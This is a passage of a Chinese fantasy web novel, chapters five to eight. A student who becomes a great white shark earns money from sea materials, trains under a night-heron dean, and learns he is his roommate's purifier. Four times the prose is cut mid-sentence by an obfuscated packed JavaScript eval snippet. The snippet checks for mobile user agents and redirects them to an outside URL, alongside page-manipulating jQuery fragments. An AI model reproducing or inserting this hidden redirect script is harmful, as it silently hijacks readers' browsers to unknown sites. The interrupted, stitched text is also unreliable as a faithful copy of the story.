苍鹭体型修长，和夜鹭同样的配色。 苍鹭是水墨画，夜鹭是枣核。 沙伍靠近了才发现这只苍师傅体型格外大，远看因为身形纤细并不明显，离得近了才发现这只苍师傅大概能到他肩膀的高度。 虽说现在全星球的生命体都有或多或少的变异，可是这只苍师傅也太大了，像仙宗…… 苍师傅动了动脖子。 沙伍突然就想起昨天晚上抓鱼的夜师傅的动作，头皮一阵发麻，压根来不及思考，直接从小飞车上跳到湖里。 这边的湖水不深，一脚下去只到膝盖。 淤泥很软又粘稠，在他第二只脚下去的时候，直接陷进去。 苍师傅的攻击动作极快，一下叨到小飞车上。 “轰”地一声，小飞车炸出一团火光。 受惊的苍鹭展翅起飞。 沙伍在湖中干脆躺下翻滚，感觉到头顶苍鹭巨大翅膀落下的阴影，直接往深水区去。 他压根没想到自己没学过游泳，在反应过来的时候，眼前已经全是光怪陆离的海底世界。 奇怪的草。 奇怪的鱼。 头顶有一只奇怪的小鸭子。 小鸭子？ 小鸭子闻着怎么有点香 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16177657|180796||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 香的味道？ 应该很好吃吧？ 沙伍没细想，遵循本能悄然上浮，猛地一口咬向小鸭子，蹿出水面。 咬了个空。 他就说空军有人传人现象，都怪姜纶。 “你小子，怎么连人和变异动物都分不清？”小鸭子……不是，是夜鹭站在鲨鱼的背鳍尖尖上，声音懒洋洋的，“差点被变异苍鹭一口闷。” 嘶——这体型，变异苍鹭也没法一口闷。 他之前还猜测沙伍的变异值高，会不会是因为受到了别的影响，但眼前这个体型，显然沙伍本身的变异值就不可能低，毕竟要维持这么庞大的体型。 “院长？”沙伍下意识想扭头看夜师傅，结果直接在海面上画了个圈，“我变成鱼了！” 夜鹭站得稳稳当当：“好了。刚学会转化，稍微玩玩就回去了。” 真是的，本来他还打算花几天时间，慢慢让小同学学会变鱼，没想到还没正式开始上课就学会了。 变出来的鱼倒是很大，可惜鲨鱼不好吃。 沙伍这会儿很兴奋，不过还算听话，在海里随便“捡了”一点好看的土特产，就背着夜师傅返回潮汐湖。 三角鳍进入熟悉水域的时候有些犹豫：“院长，苍师傅走了没？” 夜鹭低头啄了啄鱼翅：“一只三级变异鸟，怕什么？” 沙伍不敢喊痛：“我一个连激发异能都不太会的学生，怕一只三级变异动物，不是很正常的吗？” 夜鹭低头看看自己搭乘的大白鲨，觉得理由不成立：“作为一条大白鲨，能有什么理由害怕一只细胳膊细腿的苍鹭？等级只代表对异能的掌控程度，不代表战力，明白吗？” “我是大白鲨？”沙伍只从姜纶口中知道自己的变异体是鲨鱼，但被他小鲨鱼小鲨鱼叫着，主要是在姜纶手腕上留下的牙印那么小一个，还以为自己是一条小体型的鲨鱼。 大白鲨？！ 这得多帅！ 夜鹭吩咐：“就这样直接去医院，保持现在的状态再做个体检。也就是在我们学校，才能有足够大的空间给你这样的大鱼做检测。” 沙伍还在想自己这个状态怎么进医院，没想到医院的底下和潮汐湖相连，有一片巨大的水下区域。 先前给他做体检的章医生没一会儿就开着一辆水下飞车出现。 水下飞车自带舱室，像一艘透明的迷你潜艇。 章医生没有从水下飞车里出来，只是伸出一只手，引领着沙伍做各种检测。 刚才在海中没什么感觉，进入到建筑物内后，沙伍才意识到现在的自己有多大，比水下飞车大得多。 或许比两辆水下飞车还要大。 这么大的体型，他进入各种检测仪器却毫不费劲，甚至能在里面转圈圈。 等一切检测完毕，他才有空感慨：“这些水下仪器都好大啊。” 章医生让大白鲨跟着自己游，把水下飞车停好，舱盖在水面上打开：“不算大。你现在身长只有3米，体重连半吨都没有，才会觉得大。等你长到4米多，就不会觉得仪器有多大了。对了，你有点营养不良，一会儿得给你开点补剂，别长得瘦巴巴的，出去丢我们水产养殖学院的脸。” 5. 第五章 赚钱 沙伍听章医生唠叨了一堆，还想着怎么重新变回人形，没想到一离开水面，就自动变回成人的样子，就是衣服湿哒哒的。 章医生嫌弃地看了一眼电梯里的水渍，瞧着少年瘦弱的样子又忍不住心软：“一会儿带你去洗个澡。” 沙伍发愁：“那我以后是不是动一次异能就得这么落水一次？” 作为一条鲨鱼，总不能在别的地方使用异能。 没想到异能者还费衣服。 章医生听懂他的意思，笑着解释：“你要是担心衣服，等开学后，学校会发校服，里面的作战服能够解决你的大部分困扰。” “作战服？” “对。其实你们穿的应该说是训练服，比起真正的作战服要差一点。防御啊，别的性能啊之类的。我不是作战人员，具体的也没研究过。” 沙伍被章医生带着去简单冲了个澡，换上病号服回宿舍，离着还有一段距离就看到姜纶。 姜纶看到骑着小飞车的沙伍都惊呆了，放下手上的鱼竿，掐着咯吱窝把人举起来：“不是去上课吗？怎么病了？受伤了？” 沙伍被这么高举着，一点安全感都没有，又不敢挣扎：“放我下来！我衣服坏了，章医生借我衣服穿。” 本来以为衣服只是湿了，等他洗澡的时候把衣服脱下来一看，发现不了像是泡过水的纸一样，根本没法再穿在身上。 病号服确实能穿，但没有内裤，他现在真空着，感觉凉飕飕的，哪儿哪儿都不对劲。 愚蠢的小少爷还把他举高！ 姜纶看到他的眼神逐渐凌厉，只能把人放下来：“没事就好。海水侵蚀高，哪怕你是小鲨鱼也不好多待。梁伯伯应该已经给你准备好了衣服，以后上课穿。” 沙伍重新坐上小飞车，姜纶拿起鱼竿，坐上后座，往前一指：“走！” 宿舍太大。 从医院到宿舍的距离，还没从宿舍大门到房门远。 沙伍一下小飞车就往自己房间冲，这会儿也顾不上别的，先换上衣服再说。 “啊……不打工不行。” 青龙学院刚发的补贴有三千，学费、住宿费全免。 他本来以为省着点花，大学期间可以不用再另外打工。 刚才共享小飞车的扣款通知到了，一下就扣了两千。 剩下一千块……他低头扯了扯身上的衣服，这身衣服估计都不止一千。这还只是最普通的家居服。 他看了一眼另外一个贴了金属铭牌“作战服”的衣柜，里面满满当当的作战服都不敢想得多少钱。 和小少爷住一个宿舍已经是他占了许多便宜，但总不能这么理所当然让小少爷养着吧？ 他又不好问这些得多少钱，不是怕还钱，而是觉得问了之后会生分。 沙伍挠头，不知道该怎么处理，看了看自己外壳有些破损的手环，应该是被小飞车爆炸波及到损坏的。 一个手环也得好几千。 他是有一点存款，但真的不多。 不知道学校附近有没有适合打工的地方？ 他心不在焉地走出房间，没注意到门口蹲着个人，一头栽倒下去：“啊！” “走路要看路。”完全没有把人绊倒自觉的小少爷，抬手就把人抱起来在地上放好，“今天上课怎么样？夜老师别的都好，就是嘴馋。不过他不爱吃鲨鱼，你还是很安全的。” 沙伍听得嘴角抽抽：“院长上课吃学生？” 姜纶完全不觉得自己说了多么可怕的话，认真思考了一下：“吃，应该不至于吧？顶多就尝尝。” 沙伍听得后背发寒。 姜纶听到他倒抽气的声音，不由得笑起来拍拍他的后背：“学院每年有死亡名额，不过一般都用在实战训练上。放心好了，真要是死掉太多学生，他这个院长也要负责任的。”顿了顿，不怎么小声地补充，“虽然没人管得了他。” 沙伍听得浑身僵硬，嘴角抽抽。 姜纶像是完全没察觉到，笑嘻嘻地拉着他下楼：“梁伯伯问你带回来的东西是给我们吃的吗？是的话，他就趁着新鲜做了。” 沙伍想起自己从海里带回来的土特产：“能吃吗？能吃就吃。刚才跟院长去海里转了一圈，我看到一些好玩的东西，都不太认识。” 梁管家已经把东西都放在了厨房，给沙伍介绍：“都已经检测过了，这些是可以吃的，几乎没有什么污染值。这条鱼不能吃，不过有人收。小伍要是不想养的话，可以卖掉。” 沙伍看到自己带回来的东西，奇形怪状的都能吃，唯一的鱼竟然不能吃：“这还能卖钱？卖给谁？” 小少爷不关注金钱，对这方面一无所知，看向万能的管家。 梁管家很清楚：“不想跑远的话，你看看校园论坛。” “好的。”沙伍就站在厨房，看厨师和两个帮厨举着一把一米长的大砍刀和两把大锤子，对着带壳的海鲜哐哐砸。 真的能吃？ 能吃！ 还很好吃！ 沙伍刚把鱼的照片放到校园论坛上，就看到厨师和帮厨快速取出肉，切片放在铺了冰块的小盘子上递过来。 “先别忙，趁新鲜赶紧吃。” 晶莹的瞧着像果冻一样的DUANGDUAGN的肉块，有点像是白玉一般质地的肉片，还有沙伍唯一见过的海胆……这个大到夸张的个头，是海胆吧？ 不不不，他以前在东湖的海鲜餐厅打过工，见过的海胆最多只有拳头大，外壳全是刺。 这个疑似海胆的东西光秃秃的。 他接过来吃了一口，顺滑绵密的口感瞬间让他眼前一亮，回过神来的时候已经吃完了。 “好吃！祁叔太厉害了！”他从来没吃过这么好吃的东西！ 祁大厨对捧场的沙伍满眼慈爱：“不是我厉害，是你带回来的食材足够好。”他再看一眼吃着美食毫无反应的姜纶，一脸嫌弃。 姜纶不理解地回看了一眼，又弯起眼夸沙伍：“我家小鲨鱼就是厉害！” 沙伍压根不听他的，眼睛亮闪闪地看着祁大厨大展身手，收到手环上有人收购的通知，确定了信息才说了一声：“我去把鱼给卖家，一会儿就回来！” 姜纶问：“一个人行吗？” 沙伍没回答，只是摆了摆手往外跑，想到应该已经洗好的病号服，又忙不迭往洗衣房跑，拿上衣服才坐上外形流畅的小飞车往目的地去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16177658|180796||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>买鱼的是共工大学医学院的一位学姐，很大方地给了他五百：“学弟是青龙学院的人吧？我给你发一张清单，你要是有上面的材料，记得先联系我，一定不让你吃亏。” “好的，学姐。”沙伍加了学姐的个人联系方式，确认收到了清单。 学姐提醒：“你可以去电子图书馆下载一份材料需求清单，要是出海看到的话可以带回来卖钱。海洋中的水系材料还是很值钱的，就算我们学校没人收，你还可以去贝贝网上看交易和收购信息，外地的收购水系材料，价格会更高一点。” “谢谢学姐。”沙伍快速返回，想着刚赚到的五百块喜滋滋。 对他来说没什么难度的海洋材料，原来这么值钱。 那他是不是很快就能实现财富自由？ 这么想着，他感觉原本就美味的午餐更加好吃。 可惜下午还要继续上课…… 小少爷下午继续逃课。 上午是实践课，下午就在别墅上理论课。 沙伍听着基础课程，想着这些知识姜纶应该早就知道，上了也没用，反正连院长都不追究，他就不用多逼逼了。 嗯，他绝对不是对姜纶逃课有意见，他就是觉得姜纶在身边很安心。 可能是姜纶身上的气息太好闻了，让他有一种被美食包裹的满足感。 姜纶要是能吃的话，比中午的海鲜大餐还要好吃一万倍！ 不不不，他怎么又想着吃人？ 思维刚发散了一会儿，夜鹭的爪子就踢到了他的脑门上：“专心！” “哇！”沙伍捂头惨叫，感觉脑壳都凹进去了一个爪子印。 夜鹭低头叨叨他的头发：“臭小子会一心二用，就把注意力全放在学习上，敢在课堂上想跟学习无关的事情，我直接把你给吃了！” 沙伍感觉自己还可以再挣扎一下：“可我有半吨重，院长吃不下吧？”院长再凶残，也只是一只体重几百克的中华田园企鹅。 夜鹭的红眼珠子一下就扫了过来，脑后的白色饰羽翘了翘：“呵。区区几千斤的小杂鱼，瞧不起谁呢？” 沙伍只能给出一个更具说服力的理由：“鲨鱼肉不好吃。” 夜鹭被说服了，但是：“那就吃你的鱼翅！” 沙伍瑟瑟发抖，不敢再造次，在接下来的课程中，果然没敢再开小差，进度飞快。 夜鹭也觉得教学进度比他预想中要快得多，一个下午上了他预计三天的课程，不过他不说，免得学生骄傲自满：“你以前接触过变异方面的知识？” 沙伍打开手环，把自己的学习清单给院长看：“第一次去体检的时候，章医生给了我一份学习清单，还没看完。前几天姜纶给我请了家庭教师教了一些，大概就这样。” 本来以为高中毕业后学习强度会低一点，没想到这几天比高三学得还累。 他这种半路出家的变异者，需要补的课太多了。 夜鹭用翅尖划了划清单，点开其中带有书签的几本书，又看了看标注已经看完的书后面全满分的考试成绩，红眼珠子盯着眼前咧嘴笑出一个豁牙缺口有点傻兮兮的少年：“你小子的考试成绩不是踩线进的共工大学？难道还是个天才？” 6. 第六章 虾滑学长 “天才？”沙伍否认，“我就是记性好一点，现在学的这些都是理论知识。” 要说考试的话，他的成绩确实比大部分同龄人要好一点，主要是记忆力方面的优势。 天才什么的，他还差得远。 夜鹭歪了一下脑袋，长长的白色饰羽柔顺地垂下来，随即飞到窗台上落下，扭头叮嘱：“今天晚上好好休息，明天早上记得不要吃早饭，带你去海里抓早饭吃。” 原本头皮紧绷的沙伍一听，顿时兴高采烈：“好的，院长！” 上课兼吃早饭，还能顺便赚小钱钱！ 夜鹭轻哼了一声：“好好学习，别一天到晚跟姜家那个笨蛋小子鬼混。” 说完，他张开翅膀，很快就消失在空中。 沙伍目送院长飞走，看了看自己裂痕明显的手环，咬咬牙还是买了一个最新款的防水防侵蚀的手环。 接近五位数的价格，让他的存款瞬间少了很多。 他捂着滴血的胸口，安慰自己：“一条鱼五百，很快就能赚回来的。” 不出意外的话，接下来他会频繁去海洋中捞钱……不是，捞鱼。 大海中不仅有各种危险的变异生物，海水本身就会对手环造成很大的破坏。 所谓的很大的破坏，他之前只在教科书上见过，今天算是亲身体验了一把。 他今天穿的衣服虽说是旧衣服，但没有海水的作用，绝对不会一下就变成那副样子。 手环要是不换个新的，谁知道能撑几次？ 他手环里有好多资料，万一坏了想重新恢复不知道有多麻烦。 “希望明天能够赚到好多钱。”这么想着，他打开学姐给的清单。 清单上只有名称、图像和价格，扫一眼就记了个七七八八。 他再看了看学校的材料需求清单，上面的内容果然丰富了很多，还附带了怎么保存和处理的方式，只是上面没有价格。 “晚餐时间到。”姜纶象征性敲了一下教室门走进来，看他手环上打开的光屏，“咦？还以为你沉迷学习，原来在买东西？” 光屏上显示的是贝贝网。 作为最大的变异材料交易网站，贝贝网上的信息非常驳杂。 其中针对海洋材料的部分五花八门，价格也相差很大，不过主要是运输和保存的成本和产地差异。 现在沙伍看的是作战服的价格，贵到远超他的想象。 他指着同城一副最便宜的作战手套上标注的五位数的价格，没忍住问姜纶：“你给我那些作战服花了多少钱？” “嗯？梁伯伯给你准备的作战服怎么了？”价格完全不敏感型钻石小少爷露出茫然的眼神，“几件衣服能值几个钱？别在意这点小事。” 沙伍怎么可能不在意？ 也不知道是不是晚餐时间，饥饿让他的嗅觉愈发灵敏，近在咫尺散发着诱人香气的小少爷让他放弃了原本就不存在多少的委婉：“你干嘛对我这么照顾？” 短短几天的相处，他谈不上多了解姜纶，可也能看出姜纶对人保持相当的距离感。 这种距离感对他却一点都没有。 他不觉得姜纶会随便捡个同学就这么照顾。 总不能因为他是小鲨鱼？ 还是因为他是小少爷钓起来的渔获？ 不是，他一条差不多半吨重的小……一点都不小的鲨鱼，小少爷是怎么钓起来的？用什么钓起来的？ 还是说小少爷现在是把他当宠物养着？ 有钱人家的宠物确实锦衣玉食，但感觉有点微妙的不同。 姜纶抬手勾住他的脖子把人往外面带：“这就算是对你照顾了？本来早该告诉你的，不过你以前没接触过异能方面的知识，现在应该有个大致的概念了。”他在电梯门口停下脚步，对上他抬起来的双眼，微笑，“你是我的净化者。” 大灾变后，世界上的所有生物或多或少都有一些变异值。 大部分人类的变异值很低，也不影响正常生活。 当变异值达到一定程度后，会表现出一些特殊之处，其中具有攻击性的就会培养成异能战士。 异能战士用自己的异能守卫人类的领域，也逐步从变异生物手中一点点争夺生存空间。 异能战士的敌人除了变异生物之外，还有一个最大的敌人是污染。 异能战士动用异能进行战斗的时候，或多或少会产生一些污染，影响到自身的认知。 当污染值过高的时候，异能战士需要进行净化，有药物净化和异能净化。 沙伍目前了解到的关于净化的内容就这些很泛泛的东西：“我？大白鲨？净化者？”这是能够联系起来的词语吗？ 他堂堂大白鲨，怎么看都是强大的异能战士·未来式。 “嗯。”姜纶指了指自己曾经被咬过一口的手腕，“我很确定。”切身体会。 沙伍跟着姜纶走进电梯，看到电梯门合上才回过神：“不对啊，你不是没有异能吗？” 姜纶认真看他。 沙伍见他没说话，有些不自在：“干……唔！别掐我脸！”最烦掐他脸了！ 他完全不过脑，转头就抓着姜纶的胳膊，一口咬了上去，顿时眉头一皱，过了三秒，张嘴，掉下一颗牙。 姜纶眼疾手快把掉下来的牙齿接到自己手上：“给你做了海胆蒸蛋。” 缺了两颗牙的沙伍捂着嘴，不想说话。 这种硬度……是石化异能吧？不不不，石头应该没这么硬，教科书上说有些异能者能够把身体皮肤金属化。 所以，姜纶是能够把皮肤钻石化，所以才叫钻石小少爷的吧？ 鲨鱼的牙齿长得很快。 沙伍自己的情况是一个礼拜就能把牙长好。 夜师傅惯例在海面上漂浮着装小鸭子，看今天明显活跃了一些大白鲨感慨：“现在的小朋鲨怎么回事？不就是掉两颗乳牙嘛，有必要这么介意？” 哪条大白鲨会因为掉了两颗牙这样的小事，出门捕猎都不用嘴巴咬，直接用尾巴抽，甚至用脑壳顶的？ 他们这一片海域也没有虎鲸，到底是上哪儿学来的招数？ 果然是作业布置少了，让学生有空闲看纪录片。 这么想着，一只海龟被大白鲨从海底一尾巴抽上天，轰一下掉落到夜鹭面前，溅起巨大的水花。 夜鹭甩了甩湿哒哒的头毛，看着从海底蹿上来像个海豚一样跳跃入水的小朋鲨：“过于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16177659|180796||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 活跃了。”要不要再打掉他一颗牙？ 晕头转向的大海龟被夜鹭扒拉了两下，变成一小块海上陆地，没一会儿龟壳上就多出许多被小朋鲨弄上来的奇奇怪怪的珊瑚、石头、螃蟹什么的。 沙伍今天的目标是虾。 前天祁大厨做了大虾，简单的水煮就非常好吃，鲜嫩弹牙带着一点点甜。 作为人类来说的大虾，以大白鲨的体型来说太小。本来沙伍是不看在眼里的，可架不住好吃啊！ 他很有耐心地把色彩斑斓的海虾往特制的网兜里塞。 这些海虾的颜色不一样，个头不一样，有些盔甲的样子也不一样。 这很正常。 哪怕是同一种群，由于变异值的高低，表现出的外观能够天差地别。 沙伍现在还没有学到需要细分的程度，反正带回家之后，祁大厨会分类的。 大白鲨在海底逡巡，各种大大小小的生物都逃不过他的搜寻。 一只色彩斑斓足有一米长的大虾突然闯入他的视线。 这只大虾在晨练海域的边缘，反反复复进进出出，有一种贱嗖嗖的感觉。 大白鲨觉得自己被挑衅（馋）到了。 这么大的个头，一定有很多肉，很好吃吧？ 就是这颜色有些过于鲜艳，说不定有毒。 有毒也不要紧，应该可以卖钱。 大虾还没反应过来就被一尾巴扇进一个网兜里，好不容易扒拉开捆缚的海草，发现自己已经被带到了地面上，弓着尾巴举起钳子破口大骂：“靠北……” 那脏话脏的口音重的小朋鲨都听不懂，只听懂最后一句。 “给老子干哪儿来了！” 沙伍从一台体检仪器中游出来，从大虾后面无声探头：“对不起，你是学长？” 站在漂浮着的网兜上的大虾吓得尾巴一个弹射，用力过猛，一头撞到墙壁上。 还好他脑壳硬，就是看着巨大的大白鲨，脑壳里的黄快散了：“你你你……” 没等他“你”出一个所以然来，夜鹭飞过来：“你什么你？是咱们学院的吧？年级、专业报一下。” 夜鹭认不出大虾学生，学生认得出自家院长，乖乖报了自己的名字：“净化专业三年级夏华。” 大白鲨的脑袋跟过来，好奇地看着虾滑学长。 好厉害，稀有人才啊，净化专业的。 哦，不对。 按照姜纶的说法，他可能也会进净化专业。 他现在对异能完全谈不上掌控，就是会人变鱼，鱼变人，也不知道怎么用异能净化。 难道先来一口尝尝咸淡？ 夜师傅瞧着学生就生气：“你一个三年级的，怎么好意思被一个还没入学的给抓住的？差点被吃了知道吗？” “哎？吃？”大虾摆摆钳子摇摇须须，“院长您就别吓唬我了。我一个异能者，怎么可能被当成变异生物？” 他说完，发现空气异常安静，虾壳上差点挂冷汗。 不、不会吧？ 活泼可爱小朋鲨在水中直起身，用软软的小翅膀扒拉两下水面，再一歪头侧身入水，含糊不清的话从海底冒出来：“我、我才刚觉醒，分不清。” 7. 第七章 净化植物 虾滑……夏华学长是个勤奋的学生，恢复人形后是个外表瞧着有些清瘦的青年，一边等着沙伍做完剩下的体检项目，一边说道：“我是暑假在勤工俭学。” 异能者读书实在费钱。 净化异能者确实很赚钱，但他只是个半吊子学生，能够接净化相关的工作，也就是这个暑假的事情。 沙伍好奇：“夏学长也是在采集海洋材料吗？” “不是。我是在净化海域。你早上玩的那一片是净化过的海域，海水和海洋生物的污染值几乎没有，都是像我这样的净化者来维持……咳，维护的。”开辟维持一片没有污染的海域，别说是他一个大三学生，就是学院的教授都不一定能做到。 夏华假装整理衣服，偷瞄了一眼飞到大白鲨脑门上站定的夜鹭。 院长应该能做到吧？ 不过院长好像不是净化者。 海水和空气一样会到处游走，不像在实验室内练习净化的时候，可以有个容器。 沙伍对怎么进行海洋环境净化很感兴趣，追着夏华问得详细了一些。 夏华一个半吊子也说不太清楚：“别的海域我没接触过，就我们这边的海域，净化过的和没净化过的海域之间有一道‘墙’？” “啊……”沙伍懵懂应了一声。 夏华等沙伍做完最后一项检测，看到他变回人形，很惊讶：“咦？”本来以为变异体这么大的学弟，人形会是个魁梧的壮汉，没想到会是个瞧着甚至有些瘦弱的弟弟。 沙伍把装满“猎物”的网兜从水面上提起来，鲨鱼形态时候感觉小小的网兜，人形的时候格外巨大：“嗯？” 夏华看他提着半人高的网兜一点都不费力的样子，不由得感慨：“变异体大，人形时候的力气也大，真好啊。” 夜鹭习惯性训斥：“单纯力气大有什么用？能够控制好的能力才是有用的能力。沙伍。” 沙伍下意识挺直背脊：“是，院长！” 夜鹭跟着进电梯，站在他的头顶，低头擦了擦嘴：“你明天要准备进入污染海域，学习辨别变异生物、污染物和变异者。” 沙伍感觉在自己头顶左右擦擦的不是小鸟喙，而是一把杀伤力巨大的利刃，头皮发麻：“是！” 红眼珠子的黑白枣核歪头看向夏华：“看看，这就是完全没法控制自己异能的傻大个。异能值高也没用。你的异能值低……相对低一点，但只要能够精细化控制，就能够……” 夏华第一次接受院长大人的单独指导备受鼓舞，两眼放光：“能够打败沙学弟！” 黑白枣核的脖子缩得更短，整个枣核更加圆润，沉默了一会儿才说道：“不，你是一个净化异能者，不要想着打打杀杀。” 夏华顿时就蔫巴了。 沙伍问夏华：“净化者的异能是不是有什么不一样？怎么用异能净化？” 夏华反问：“你的异能是什么？每个人的异能都不太一样，哪怕是净化者，异能也有区别。” “不知道啊。我现在就会变个鱼。”与其说是异能，不如说是本能。 三个人说着就到了地面，夜师傅瞬间飞走。 沙伍已经习惯了，从网兜里掏了掏，最后干脆把网兜打开，问，“学长看看有什么喜欢的吗？” 差点把人吃了，还打扰了别人的工作，赔礼道歉是必须的。 这里的东西要是学长不喜欢的话，他回头再研究一下材料清单，看看找些什么合适的礼物给学长。 夏华其实没生气。 他的异能本来就这么多，沙伍“绑架”他的时候，已经快到他平时下班的时间，今天回来搭了顺风鱼，省了力气。 他瞅了两眼，本来没怎么在意，小鲨鱼平时混的海域是他每天工作的通勤路线，有什么是他弄不到的？ 结果他一眼就看到了一根泛着红光的海带：“咦？” 沙伍把海带拿出来：“学长喜欢这个？我觉得这簇海草很好看，还有蓝色的，这根绿色的也特别绿，和别的不一样。” 他在材料清单上没看到过这个，不过祁大厨会做海带汤什么的，就算不能作为食物，姜纶还有个很空的海水缸，可以放缸里养着，应该会很好看。 夏华用自己的异能感受了一下，确认没有感觉错：“这是带有净化异能的海带。” “啊？”具有净化异能的生物不是极其罕见吗？他就随手揪了根好看点的…… 带净化异能的海带，属于水系净化植物。 夏华的异能属于水系净化异能。 他真的舍不得放弃这么适配自己异能的植物，厚着脸皮切了一小段带走，并对沙伍保证：“以后你的环境净化问题我全包了！” 污染无处不在。 现在的人类聚居点只是相对少一点，污染会从空气、土壤、地下水、动植物等等中传递进来，需要净化异能者不断的维护。 有条件的人会定期对居住地进行净化，没有条件或者发生什么突发状况，就会引发一些污染事件。 请人净化一次环境，不单单是价格高低的问题，主要是净化异能者少，请不到人。 沙伍以前住在孤儿院，有统一安排，自己也没有过私人住所，对这方面完全不了解，不知道夏华给出的是一个什么样的承诺。 他也不觉得净化植物是多么难得的东西，只想着既然瞧着很有用，明天早上再去看看。 这么想着，他就开开心心回宿舍了。 梁管家和祁大厨已经习惯了沙伍每天会带回来食材，还没看到究竟是什么东西就开始夸：“小伍真棒，今天又带了好多东西回来。” “来，我瞧瞧。” 几个佣人也凑过来围观，一起夸夸夸：“瞧着满满一袋收获。” 还不忘记拉踩：“跟小少爷一点儿都不一样。” “小少爷确实不一样，每天出去就是喂鱼的。” “哎呀，这虾好新鲜！” “能不能做生腌？” “直接白灼吧？” “我赶紧去洗出来。” “小少爷种的菜地里出苗了，我去拔一点嫩嫩的菜苗。” 沙伍差点笑出鲨鱼嘴：“不要这么不把姜纶放在眼里啊哈哈哈！” 梁管家不以为意：“哎呀，小少爷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“啊？我的牙齿不长这样啊。”他还能认不出自己的牙？不对，“你干嘛把我的牙戴身上？！” 沙伍感觉到一股说不清的羞耻感蹿上心头，直接烧红了脸。 姜纶放慢一点的脚步跟着停下来，像是没察觉到他的羞耻，语气平静理所当然：“你是我的净化者啊。我随身带上一点你的材料，万一哪天我污染了，你又不在我身边，说不定能临时救急一下。” 理由竟然如此正经！ 沙伍怔愣，被姜纶拖着走回了自己房间，按部就班去洗澡，水流冲到身上才突然反应过来，趴在淋浴间的墙上羞耻嚎叫：“啊！” 不是什么正经的理由，难道他还指望是什么不正经的理由？ 他稀里糊涂换好家居服，刚下楼就被一群人抓着带到大鱼缸前。 挑空的六米高的客厅，一整面墙都是鱼缸。 原本里面只有底部有海沙，剩下的零星几个珊瑚和海葵，还是沙伍这几天带回来没卖出去的。 现在里面又多了三根海带。 “小伍好厉害，竟然还带回来了净化植物！” “我就说小伍的运气好！” “是啊，跟小少爷完全不一样。” 沙伍瞬间被夸得飘飘然，什么羞耻心早就忘光了，看到姜纶下楼很开心地招招手：“姜纶，过来看我带回来的净化植物，对你有没有用？” 姜纶只是扫了一眼鱼缸，视线重新落到沙伍身上，走到他身边站定：“没用。对我有用的，只有你。” 8. 第八章 钻石系异能（bushi） 轰！ 沙伍仿佛听到火山爆发的声音，傻呆呆看着姜纶，仿佛世界离他远去。 姜纶瞧他定住不动，伸手就去掐他脸：“怎么突然不动了？”咦？掐脸也不动？“梁伯伯，我的小鲨鱼坏掉了！” 梁管家哄孩子：“没事的，等吃饱饭有能量就会动了。” 小孩子嘛，没见识，受到冲击卡顿一下很正常。 姜纶忧心忡忡：“那你们快做饭。先给我拿点零食……” 梁管家劝说：“不是刚吃完水果？可能没吸收，稍微等等。” “哦，好的。” 梁管家看着自家小少爷专心致志看着沙伍的样子，搞不清楚他是怎么想的。 小少爷能够找到自己的净化者当然是好事，变异者和自己的净化者关系紧密也是常态，但紧密不是亲密…… 小少爷已经二十了，沙伍也有十八岁，对他来说都是小孩子的年纪，但现在的小孩子懂得可多了。 这算是开窍了呢，还是没开窍呢？ 梁管家忧心忡忡，又不知道自己在忧心什么。 算了，上次小少爷发生意外的事情还没查清楚，他还是先去办正事。 “净化异能不都一样，怎么就我有用？”沙伍的脑子受到冲击后转速慢了点，但还是反应过来是自己会错了意。 红温的脑子瞬间冷静下来，恢复以往的转速。 “啊，好了。”姜纶伸手把沙伍像布偶一样轻轻拍了拍。 “我没坏！”这破小少爷，天天换着法子逼他咬人是不是？ 姜纶认真打量了他一下，拉着他去书房：“夜老师不是说你理论课进度很快吗？还没学到净化异能？” “学是学到了。净化异能分自然净化和战斗净化，前者针对自然环境，后者针对异能战士。不过两者的区别不是很明显，自然净化异能也能净化异能战士的污染，只是效果不太好。所以我想净化海带对你是不是多少有一点用。”毕竟是在新手区海域捡到的异能植物，等级不可能高。 “谢谢。”姜纶看着沙伍满眼真诚，在书架上找书的动作都停顿了一下，视线落在熟悉的书籍上，有一会儿甚至都忘记了自己在找什么。 “不用谢。”沙伍没看出他的僵硬，打量第一次进入的书房。 空间是他现在教室的两倍大，只摆着一面墙的书架，剩下的就什么都没有了，显得很空旷。 整个书房窗户好几扇，却连一张坐的椅子都没有。 姜纶找到了书，递过去给他：“忘了一般教科书上可能没有。你在这儿看，别拿出去。” 书不厚，书名很简单的两个字《净化》。 沙伍有些生疏地翻开珍贵的纸质书，靠坐在窗台上，看书的速度都放慢了。 姜纶看他瞬间投入进去，没打扰他，自己打开手环坐在他身边，玩起了游戏。 